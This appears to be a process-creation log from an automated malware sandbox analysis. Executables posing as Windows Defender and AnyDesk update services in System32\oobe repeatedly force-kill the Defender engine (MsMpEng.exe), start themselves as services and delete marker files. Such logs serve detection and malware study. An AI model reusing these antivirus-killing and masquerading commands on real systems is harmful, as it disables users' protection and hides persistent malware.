Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe "C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6552
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im MsMpEng.exe
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\sc.exe sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Process created: unknown unknown

